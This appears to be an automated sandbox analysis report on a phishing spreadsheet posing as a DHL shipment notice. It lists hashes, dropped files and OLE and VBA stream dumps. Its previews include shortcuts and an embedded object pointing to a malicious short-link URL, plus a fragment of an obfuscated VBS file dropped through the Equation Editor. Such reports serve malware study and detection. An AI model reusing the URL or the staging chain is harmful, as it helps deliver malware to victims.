                    Malicious:true
                    Preview:[InternetShortcut]..URL=http://tny.wtf/dg4Zx..

                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:Generic INItialization configuration [xls]
                    Category:modified
                    Size (bytes):138
                    Entropy (8bit):4.996225819649842
                    Encrypted:false
                    SSDEEP:3:bD8RhacLOQXr2MLHDHarkSda6YVomM+MLHDHarkSda6YVov:bwnDb2KHiZYV6+KHiZYVy
                    MD5:1516FD0E9094C68684897CA57EB015E4
                    SHA1:7C193E35264DCE71CFA6B9C07D6FC813FB83AE52
                    SHA-256:A33D12221BC97549B2F69B9C79C607BB099DD3C355803671FCA3E2BFA21BC36D
                    SHA-512:63D5EED3D86B3268F3793C8CE2D2E43C9AC9EF1874F49D997E677067A002E2A07EB431F56507384B5202574EFC92063EAED8A445F8CE51C66C3684EFB30FC471
                    Malicious:false
                    Preview:[folders]..dg4Zx.url=0..tny.wtf.url=0..DHL Shipment Notification 490104998009.LNK=0..[xls]..DHL Shipment Notification 490104998009.LNK=0..

                    C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/>), ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):41
                    Entropy (8bit):4.2963379801223045
                    Encrypted:false
                    SSDEEP:3:HRAbABGQYm/3LcmWy:HRYFVm/3LOy
                    MD5:D591A53347F94FBC48B4B6A5CCE920ED
                    SHA1:C00082566F3211F9B1BBEC933A8AE164759C290A
                    SHA-256:1CA93696A94797C9411318830CAC6A5B26FEACC37D5CAA4B3742D722CD073781
                    SHA-512:BA14258049ABCC3E31AA3DFC3ABBC2949AF30BB73B031C0E408BCF036B51B7AC11E32C3B39A7952E1A007179720C970B29CB2DF8EF03A021EF3B59FEB5AE177E
                    Malicious:true
                    Preview:[InternetShortcut]..URL=http://tny.wtf/..

                    C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                    File Type:data
                    Category:dropped
                    Size (bytes):162
                    Entropy (8bit):2.503835550707525
                    Encrypted:false
                    SSDEEP:3:vrJlaCkWtVypil69oycWjUbtFJlln:vdsCkWtTl69oyjUvl
                    MD5:CB3D0F9D3F7204AF5670A294AB575B37
                    SHA1:5E792DFBAD5EDA9305FCF8F671F385130BB967D8
                    SHA-256:45968B9F50A9B4183FBF4987A106AB52EB3EF3279B2118F9AB01BA837DC3968A
                    SHA-512:BD116CAF3ACA40A5B90168A022C84923DB51630FA0E62E46020B71B8EB9613EAE776D476B0C6DE0D5F15642A74ED857765150F406937FBA5CB995E9FCDAC81AE
                    Malicious:false
                    Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                    C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS

                    Download File
                    Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):414450
                    Entropy (8bit):3.584852358792161
                    Encrypted:false
                    SSDEEP:3072:3HGOwf9YFlhNe4VTdRnTT8w4TWlrqivBgoWpuV3d/S7GpqrsomlkjiveR4nV:Zwf9YFJrqA
                    MD5:91143DE27AED4B3AE7741994BC065FAA
                    SHA1:85DFA644D5397B58383C94A4A898484A7FA5B8CE
                    SHA-256:63062215F38FDE4985340EC9F4FB8746320D830BE8E0C534AB3FBAE7D3E89F29
                    SHA-512:E8CADD0FAAB189CF64253D2D7EAEA5485224DB55958A842917696F418E8F1D18349ED8F6F6BF1BC916D646E3BAAA7E50C06F86094E30F30C619F3975473D22B2
                    Malicious:true
                    Preview:..d.i.m. .m.o.r.u.l.a. .....m.o.r.u.l.a. .=. .r.o.m.p.e.n.t.e.....m.o.n.o.p.s.o.(.".g.a.n.d.u.m.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".m.u.c.u.n.h.a.m.b.a.m.b.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".x.a.j.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".i.n.d.o.c.i.l.i.d.a.d.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".g.a.s.s.a.b.a.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".e.n.c.o.v.i.l.a.r.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L._.H.e.l.p.U.r.i.s._.0.1.1._.0._.M.e.s.s.a.g.e.".). .&. .m.o.r.u.l.a. .&. ._.....m.o.n.o.p.s.o.(.".L.

                    C:\Users\user\Desktop\4B630000

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:19:32 2024, Security: 1
                    Category:dropped
                    Size (bytes):1072128
                    Entropy (8bit):7.982015401818016
                    Encrypted:false
                    SSDEEP:24576:99okZeGlKt0R1kIXZ+Hs7K4AQA5uLXyT3ax9U8pV0ec6E:9DYJ0ka+HQm3axJha
                    MD5:A51CEBCBA391E895970C3DB37F0F78D4
                    SHA1:33576E10C45E27E5FE96E4EE25EE42DFBA875643
                    SHA-256:CD183FB3EBF55DE05C622DFB05B221D09298452066E90D1054645F9342B97562
                    SHA-512:2606193F1859BC9B3B1E5CB26413B2D1EC89B3D6A551DA5D72E36B427F5DC90955B46D4381AD71D6C0880F3BDC92E280F86F9F98B4F15E606312030611DD9386
                    Malicious:false
                    Preview:......................>.......................................................................................f.......h.......j.......l...............................................................................................................................................................................................................................................................................................................................................................................................,................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                    C:\Users\user\Desktop\4B630000:Zone.Identifier

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):26
                    Entropy (8bit):3.95006375643621
                    Encrypted:false
                    SSDEEP:3:ggPYV:rPYV
                    MD5:187F488E27DB4AF347237FE461A079AD
                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                    Malicious:false
                    Preview:[ZoneTransfer]....ZoneId=0

                    C:\Users\user\Desktop\DHL Shipment Notification 490104998009.xls (copy)

                    Download File
                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                    File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:19:32 2024, Security: 1
                    Category:dropped
                    Size (bytes):1072128
                    Entropy (8bit):7.982015401818016
                    Encrypted:false
                    SSDEEP:24576:99okZeGlKt0R1kIXZ+Hs7K4AQA5uLXyT3ax9U8pV0ec6E:9DYJ0ka+HQm3axJha
                    MD5:A51CEBCBA391E895970C3DB37F0F78D4
                    SHA1:33576E10C45E27E5FE96E4EE25EE42DFBA875643
                    SHA-256:CD183FB3EBF55DE05C622DFB05B221D09298452066E90D1054645F9342B97562
                    SHA-512:2606193F1859BC9B3B1E5CB26413B2D1EC89B3D6A551DA5D72E36B427F5DC90955B46D4381AD71D6C0880F3BDC92E280F86F9F98B4F15E606312030611DD9386
                    Malicious:true
                    Preview:......................>.......................................................................................f.......h.......j.......l...............................................................................................................................................................................................................................................................................................................................................................................................,................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                    Static File Info

                    General

                    File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 02:19:54 2024, Security: 1
                    Entropy (8bit):7.976894777628405
                    TrID:
                    • Microsoft Excel sheet (30009/1) 47.99%
                    • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                    • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                    File name:DHL Shipment Notification 490104998009.xls
                    File size:1'089'024 bytes
                    MD5:9f5966511192881e63d53f4f2d1098e7
                    SHA1:150099df77098faf110a9060e7ea1c0c4dbd7b5f
                    SHA256:8953284dd35be103fb513b51319ebb7cd890cf377d9815d69bac8dffa9a6d25e
                    SHA512:bfef7f426cf1f44184154bcb5786ca268c77a91fb7d8ca5ac91c048e1a1311756786d445809a4f20fbf9299a1a027b2501b38fad053a3aeb4177154774a94fd5
                    SSDEEP:24576:w9okZeGlKt0R1kIXZ+0BWYkT36sroKdBO:wDYJ0ka+6WYkT3LoKdk
                    TLSH:8C3523ACBEEB6FC3E7145CB482C2E9514518AC45AE40D84B3A10B72DF1B1F785AC3799
                    File Content Preview:........................>...................................$...................................................g.......i.......k.......m......................................................................................................................

                    File Icon

                    Icon Hash:276ea3a6a6b7bfbf

                    Static OLE Info

                    General

                    Document Type:OLE
                    Number of OLE Files:1

                    OLE File "DHL Shipment Notification 490104998009.xls"

                    Indicators
                    Has Summary Info:
                    Application Name:Microsoft Excel
                    Encrypted Document:True
                    Contains Word Document Stream:False
                    Contains Workbook/Book Stream:True
                    Contains PowerPoint Document Stream:False
                    Contains Visio Document Stream:False
                    Contains ObjectPool Stream:False
                    Flash Objects Count:0
                    Contains VBA Macros:True
                    Summary
                    Code Page:1252
                    Author:
                    Last Saved By:
                    Create Time:2006-09-16 00:00:00
                    Last Saved Time:2024-07-26 01:19:54
                    Creating Application:Microsoft Excel
                    Security:1
                    Document Summary
                    Document Code Page:1252
                    Thumbnail Scaling Desired:False
                    Contains Dirty Links:False
                    Shared Document:False
                    Changed Hyperlinks:False
                    Application Version:786432

                    Streams with VBA

                    VBA File Name: Sheet1.cls, Stream Size: 977
                    General
                    Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                    VBA File Name:Sheet1.cls
                    Stream Size:977
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ? . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
                    Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ad 3f 16 2e 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    VBA Code
                    Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                    VBA File Name: Sheet2.cls, Stream Size: 977
                    General
                    Stream Path:_VBA_PROJECT_CUR/VBA/Sheet2
                    VBA File Name:Sheet2.cls
                    Stream Size:977
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ? . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
                    Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ad 3f 84 e2 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    VBA Code
                    Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                    VBA File Name: Sheet3.cls, Stream Size: 977
                    General
                    Stream Path:_VBA_PROJECT_CUR/VBA/Sheet3
                    VBA File Name:Sheet3.cls
                    Stream Size:977
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ? = . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
                    Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ad 3f 3d b7 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    VBA Code
                    Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                    VBA File Name: ThisWorkbook.cls, Stream Size: 985
                    General
                    Stream Path:_VBA_PROJECT_CUR/VBA/ThisWorkbook
                    VBA File Name:ThisWorkbook.cls
                    Stream Size:985
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ? . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
                    Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 ad 3f db a8 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    VBA Code
                    Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                    Streams

                    Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                    General
                    Stream Path:\x1CompObj
                    CLSID:
                    File Type:data
                    Stream Size:114
                    Entropy:4.25248375192737
                    Base64 Encoded:True
                    Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                    Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                    Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                    General
                    Stream Path:\x5DocumentSummaryInformation
                    CLSID:
                    File Type:data
                    Stream Size:244
                    Entropy:2.889430592781307
                    Base64 Encoded:False
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
                    Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00
                    Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200
                    General
                    Stream Path:\x5SummaryInformation
                    CLSID:
                    File Type:data
                    Stream Size:200
                    Entropy:3.2503503175049815
                    Base64 Encoded:False
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . | . # . @ . . . . Y ~ . . . . . . . . .
                    Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00
                    Stream Path: MBD001A0AA0/\x1CompObj, File Type: data, Stream Size: 99
                    General
                    Stream Path:MBD001A0AA0/\x1CompObj
                    CLSID:
                    File Type:data
                    Stream Size:99
                    Entropy:3.631242196770981
                    Base64 Encoded:False
                    Data ASCII:. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
                    Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                    Stream Path: MBD001A0AA0/Package, File Type: Microsoft Excel 2007+, Stream Size: 536864
                    General
                    Stream Path:MBD001A0AA0/Package
                    CLSID:
                    File Type:Microsoft Excel 2007+
                    Stream Size:536864
                    Entropy:7.972411136563929
                    Base64 Encoded:True
                    Data ASCII:P K . . . . . . . . . . ! . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                    Data Raw:50 4b 03 04 14 00 06 00 08 00 00 00 21 00 d4 fe 94 9a b9 01 00 00 c0 06 00 00 13 00 d1 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cd 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                    Stream Path: MBD001A0AA1/\x1Ole, File Type: data, Stream Size: 678
                    General
                    Stream Path:MBD001A0AA1/\x1Ole
                    CLSID:
                    File Type:data
                    Stream Size:678
                    Entropy:4.699582509193664
                    Base64 Encoded:False
                    Data ASCII:. . . . { " . a . n . . . . . . . . . . . . l . . . y . . . K . h . . . h . t . t . p . : . / . / . t . n . y . . . w . t . f . / . d . g . 4 . Z . x . . . . 1 . . b 2 o C . < . . C . y . B 3 Q = . ~ . 8 ` d . } 5 l . v ' . . . . . . . . . . . . . . . . . . . U . Z . k . i . 1 . Y . X . 8 . X . p . 3 . N . z . s . 1 . Q . E . a . 5 . S . V . S . Y . 5 . U . F . n . u . u . V . k . 2 . 3 . x . X . m . 1 . a . C . B . w . K . j . h . S . 1 . U . m . p . e . 8 . e . Q . q . 8 . O . E . u . X . A . H . c . d .
                    Data Raw:01 00 00 02 7b 96 a1 22 0e 61 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 6c 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 68 00 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 6e 00 79 00 2e 00 77 00 74 00 66 00 2f 00 64 00 67 00 34 00 5a 00 78 00 00 00 2e 31 81 e7 0a 8a 12 62 32 6f f9 a7 de 43 01 8f 3c d8 08 ea ad 98 43 d5 07 de 79 f1 d1 1c 42 9b 8a 33 51 3d e4 a2
                    Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 529364
                    General
                    Stream Path:Workbook
                    CLSID:
                    File Type:Applesoft BASIC program data, first line number 16
                    Stream Size:529364
                    Entropy:7.999310180476822
                    Base64 Encoded:True
                    Data ASCII:. . . . . . . . . . . . . . . . . / . 6 . . . . . . . d X ( l U S x K . d ? T v 8 . . 4 M 6 3 ' $ E . . . . . . . . . . \\ . p . + j ~ 8 ! 9 . . U q G ' ( B 7 J U q . . ^ S ` D l . - x } \\ . . . y . ; . K H . T [ . 0 . @ . . K " V m . . ~ B . . . l a . . . \\ . . . = . . . ! l t . . . . . P . f - . . . . . . . . Q | . . . . V . . . . Q . . . . e . . . I 8 = . . . . . . = . | @ . . . . . . . l " . . . . . . . V . . . . z . . . p 1 . . . 0 P T g @ . 1 8 . o . ' ^ B 6 - H 1 . . . y i . . - W o . v t n . _ `
                    Data Raw:09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 64 ac 58 83 28 9d 6c 55 ea 53 78 c7 4b fb b4 d4 7f 64 3f 54 b1 97 f9 e8 cd 76 38 ee 88 ab e9 07 34 d2 e2 4d 36 33 fa 27 ef 24 45 a0 fd b6 8b df e1 00 02 00 b0 04 c1 00 02 00 de ee e2 00 00 00 5c 00 70 00 2b fd b8 6a e1 7e b9 f9 91 e1 38 21 39 c9 84 a6 02 93 9d 55 94 71 47 27 28 c6 42 37 4a eb
                    Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 529
                    General
                    Stream Path:_VBA_PROJECT_CUR/PROJECT
                    CLSID:
                    File Type:ASCII text, with CRLF line terminators
                    Stream Size:529
                    Entropy:5.284340823237288
                    Base64 Encoded:True
                    Data ASCII:I D = " { 4 3 B 1 5 B 8 A - C C F A - 4 A 5 6 - A D 4 4 - 9 A 7 C 3 0 2 C A 8 5 3 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " D A D 8 2 7 E F 6 5 F 3 6 5 F 3 6
                    Data Raw:49 44 3d 22 7b 34 33 42 31 35 42 38 41 2d 43 43 46 41 2d 34 41 35 36 2d 41 44 34 34 2d 39 41 37 43 33 30 32 43 41 38 35 33 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30
                    Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104
                    General
                    Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                    CLSID:
                    File Type:data
                    Stream Size:104
                    Entropy:3.0488640812019017
                    Base64 Encoded:False
                    Data ASCII:T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
                    Data Raw:54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00
                    Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644
                    General
                    Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                    CLSID:
                    File Type:data
                    Stream Size:2644
                    Entropy:3.986362304453084
                    Base64 Encoded:False
